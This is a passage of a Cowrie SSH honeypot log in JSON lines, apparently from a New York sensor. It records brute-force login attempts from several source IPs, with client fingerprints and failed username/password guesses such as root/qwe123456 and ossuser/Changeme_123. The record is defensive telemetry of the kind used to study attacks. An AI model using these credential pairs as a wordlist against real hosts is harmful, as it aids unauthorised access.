{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:11:14.567030Z","src_ip":"91.92.42.133","session":"1fc30a8ef9c2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:11:14.634375Z","src_ip":"91.92.42.133","session":"1fc30a8ef9c2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"minecraft","password":"123123","message":"login attempt [minecraft/123123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:11:14.935389Z","src_ip":"91.92.42.133","session":"1fc30a8ef9c2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:11:16.045268Z","src_ip":"91.92.42.133","session":"1fc30a8ef9c2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":52944,"dst_ip":"159.203.135.109","dst_port":22,"session":"c46a3f2dbae8","protocol":"ssh","message":"New connection: 91.92.42.133:52944 (159.203.135.109:22) [session: c46a3f2dbae8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:11:21.702861Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:11:21.828588Z","src_ip":"91.92.42.133","session":"c46a3f2dbae8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:11:21.832919Z","src_ip":"91.92.42.133","session":"c46a3f2dbae8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mohammad","password":"mohammad","message":"login attempt [mohammad/mohammad] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:11:22.654246Z","src_ip":"91.92.42.133","session":"c46a3f2dbae8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:11:24.078187Z","src_ip":"91.92.42.133","session":"c46a3f2dbae8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":53700,"dst_ip":"159.203.135.109","dst_port":22,"session":"865584326b31","protocol":"ssh","message":"New connection: 91.92.42.133:53700 (159.203.135.109:22) [session: 865584326b31]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:11:29.367120Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:11:29.409610Z","src_ip":"91.92.42.133","session":"865584326b31","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:11:29.495587Z","src_ip":"91.92.42.133","session":"865584326b31","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"runner","password":"1","message":"login attempt [runner/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:11:30.407081Z","src_ip":"91.92.42.133","session":"865584326b31","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:11:31.662418Z","src_ip":"91.92.42.133","session":"865584326b31","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":33808,"dst_ip":"159.203.135.109","dst_port":22,"session":"768789cacd47","protocol":"ssh","message":"New connection: 91.92.42.133:33808 (159.203.135.109:22) [session: 768789cacd47]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:11:36.749198Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:11:36.776670Z","src_ip":"91.92.42.133","session":"768789cacd47","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:11:36.866479Z","src_ip":"91.92.42.133","session":"768789cacd47","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ossuser","password":"Changeme_123","message":"login attempt [ossuser/Changeme_123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:11:37.708838Z","src_ip":"91.92.42.133","session":"768789cacd47","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:11:38.795413Z","src_ip":"91.92.42.133","session":"768789cacd47","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":33892,"dst_ip":"159.203.135.109","dst_port":22,"session":"d9e74b79209d","protocol":"ssh","message":"New connection: 91.92.42.133:33892 (159.203.135.109:22) [session: d9e74b79209d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:11:44.252009Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:11:44.288856Z","src_ip":"91.92.42.133","session":"d9e74b79209d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:11:44.377064Z","src_ip":"91.92.42.133","session":"d9e74b79209d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwe123456","message":"login attempt [root/qwe123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:11:44.805757Z","src_ip":"91.92.42.133","session":"d9e74b79209d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:11:45.909762Z","src_ip":"91.92.42.133","session":"d9e74b79209d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"117.121.214.50","src_port":52188,"dst_ip":"10.17.0.5","dst_port":22,"session":"26db7aa95cb5","protocol":"ssh","message":"New connection: 117.121.214.50:52188 (10.17.0.5:22) [session: 26db7aa95cb5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:11:49.361341Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:11:49.366965Z","src_ip":"117.121.214.50","session":"26db7aa95cb5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:11:49.607927Z","src_ip":"117.121.214.50","session":"26db7aa95cb5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"infinity@123","message":"login attempt [root/infinity@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:11:50.599066Z","src_ip":"117.121.214.50","session":"26db7aa95cb5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":40230,"dst_ip":"159.203.135.109","dst_port":22,"session":"1973275e94ad","protocol":"ssh","message":"New connection: 91.92.42.133:40230 (159.203.135.109:22) [session: 1973275e94ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:11:51.711964Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:11:51.715480Z","src_ip":"91.92.42.133","session":"1973275e94ad","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:11:51.802109Z","src_ip":"91.92.42.133","session":"1973275e94ad","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:11:51.840787Z","src_ip":"117.121.214.50","session":"26db7aa95cb5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"frappe","password":"123","message":"login attempt [frappe/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:11:52.065421Z","src_ip":"91.92.42.133","session":"1973275e94ad","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"112.216.108.62","src_port":34598,"dst_ip":"159.203.135.109","dst_port":22,"session":"bd68e53a5c45","protocol":"ssh","message":"New connection: 112.216.108.62:34598 (159.203.135.109:22) [session: bd68e53a5c45]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:11:52.173075Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:11:52.176915Z","src_ip":"112.216.108.62","session":"bd68e53a5c45","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:11:52.377988Z","src_ip":"112.216.108.62","session":"bd68e53a5c45","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:11:53.212680Z","src_ip":"91.92.42.133","session":"1973275e94ad","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"testuser","password":"testpass","message":"login attempt [testuser/testpass] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:11:53.217169Z","src_ip":"112.216.108.62","session":"bd68e53a5c45","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:11:54.421010Z","src_ip":"112.216.108.62","session":"bd68e53a5c45","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":37384,"dst_ip":"159.203.135.109","dst_port":22,"session":"09a705a75bdb","protocol":"ssh","message":"New connection: 91.92.42.133:37384 (159.203.135.109:22) [session: 09a705a75bdb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:11:58.517388Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:11:59.084340Z","src_ip":"91.92.42.133","session":"09a705a75bdb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac